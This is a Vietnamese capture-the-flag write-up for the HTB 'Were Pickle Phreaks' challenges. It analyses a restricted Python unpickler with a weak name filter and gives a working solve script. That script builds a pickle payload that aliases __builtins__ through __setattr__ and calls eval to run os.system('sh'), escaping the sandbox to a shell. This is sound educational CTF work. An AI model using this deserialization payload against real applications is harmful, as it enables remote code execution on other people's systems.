# HTB Cyber Apocalypse 2024: Hacker Royale - After Party ## Were Pickle Phreaks ### Analysis Source code: **app.py:** ```python # python 3.8 from sandbox import unpickle, pickle import random members = [] class Phreaks: def __init__(self, hacker_handle, category, id): self.hacker_handle = hacker_handle self.category = category self.id = id def display_info(self): print('================ ==============') print(f'Hacker Handle {self.hacker_handle}') print('================ ==============') print(f'Category {self.category}') print(f'Id {self.id}') print() def menu(): print('Phreaks member registration v2') print('1. View current members') print('2. Register new member') print('3. Exit') def add_existing_members(): members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000)))) members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000)))) members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000)))) members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000)))) members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000)))) members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000)))) members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000)))) members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000)))) members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000)))) members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000)))) members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000)))) def view_members(): for member in members: try: member = unpickle(member) member.display_info() except Exception as e: print('Invalid Phreaks member', e) def register_member(): pickle_data = input('Enter new member data: ') members.append(pickle_data) def main(): add_existing_members() while True: menu() try: option = int(input('> ')) except ValueError: print('Invalid input') print() continue if option == 1: view_members() elif option == 2: register_member() elif option == 3: print('Exiting...') exit() else: print('No such option') print() if __name__ == '__main__': main() ``` Đây là một chương trình với 2 chức năng cơ bản: - `view_members()`: thực hiện deserialize và hiển thị các đối tượng - `register_member()`: nhận input là dạng base64 của 1 đối tượng sau khi đã serialize **sandbox.py:** ```python from base64 import b64decode, b64encode from io import BytesIO import pickle as _pickle ALLOWED_PICKLE_MODULES = ['__main__', 'app'] UNSAFE_NAMES = ['__builtins__'] class RestrictedUnpickler(_pickle.Unpickler): def find_class(self, module, name): print(module, name) if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)): return super().find_class(module, name) raise _pickle.UnpicklingError() def unpickle(data): return RestrictedUnpickler(BytesIO(b64decode(data))).load() def pickle(obj): return b64encode(_pickle.dumps(obj)) ``` Ở đây, class `RestrictedUnpickler` kế thừa từ `_pickle.Unpickler`, định nghĩa phương thức `find_class()` thực hiện detect các module và name được cho phép. Trong `pickle`, phương thức [`find_class()`](https://github.com/python/cpython/blob/main/Lib/pickle.py#L1566) có source code như sau: ```python def find_class(self, module, name): # Subclasses may override this. sys.audit('pickle.find_class', module, name) if self.proto < 3 and self.fix_imports: if (module, name) in _compat_pickle.NAME_MAPPING: module, name = _compat_pickle.NAME_MAPPING[(module, name)] elif module in _compat_pickle.IMPORT_MAPPING: module = _compat_pickle.IMPORT_MAPPING[module] __import__(module, level=0) if self.proto >= 4: return _getattribute(sys.modules[module], name)[0] else: return getattr(sys.modules[module], name) ``` Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. `RestrictedUnpickler` hook vào phương thức `find_class()` để thực hiện sàng lọc các module. Ở đây các module được cho phép là `__main__`, `app` và name bị cấm là `__builtins__` ### Solution Trong python, các module liên kết với nhau, do đó từ `__main__`, `app` chúng ta có thể nhập các module khác. Sử dụng `dir()` để check xem `__main__` có những module nào: ![image](https://hackmd.io/_uploads/SyPWVxNA6.png) Chú ý một chút thì đoạn code filter khá lỏng lẻo: ```python! if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)): ``` Nó chỉ check xem name có bắt đầu bằng `__builtins__.` hay không, do đó mình có thể bypass bằng `__setattr__` để đổi name của `__builtins__` thành một ký tự khác. Mình sử dụng [`Pickora`](https://github.com/splitline/Pickora.git) để compile python pickle scripts, Pickle sử dụng `GLOBAL` để nhập module. **Solve script:** ```python from pickora import Compiler from base64 import b64encode def main(): return 1 if __name__ == '__main__': compiler = Compiler() payload = b"setattr = GLOBAL('__main__', '__setattr__');" payload += b"builtins = GLOBAL('__main__','__builtins__');" payload += b"setattr('e',builtins);" payload += b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")" print(b64encode(compiler.compile(payload)).decode()) ``` Giải thích một chút, `GLOBAL('__main__', '__setattr__')` lấy function `__main__.__setattr__` và gán vào biến `setattr`, tương tự là `builtins`. `setattr('e',builtins)` thực hiện set function `__main__.__builtins__` thành `e` và cuối cùng là gọi `e.eval` để thực thi code python `__import__('os').system('sh')`. ![image](https://hackmd.io/_uploads/SJ7pzbNRp.png) ![image](https://hackmd.io/_uploads/BkoZ7W4A6.png) ## Were Pickle Phreaks Revenge Source code không thay đổi, thay đổi duy nhất đến từ **sandbox.py:** ```python! ALLOWED_PICKLE_MODULES = ['__main__', 'app'] UNSAFE_NAMES = ['__builtins__', 'random'] ``` Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module `random` để thực hiện call các module khác: ![image](https://hackmd.io/_uploads/HkV94WEA6.png) Ở đây có thể sử dụng module `_os` để gọi hàm `system()`: ![image](https://hackmd.io/_uploads/SJ1HSbVCa.png) Cách của mình không sử dụng đến module `random` nên có thể bypass luôn challenge này: ![image](https://hackmd.io/_uploads/rJtRu-V0a.png)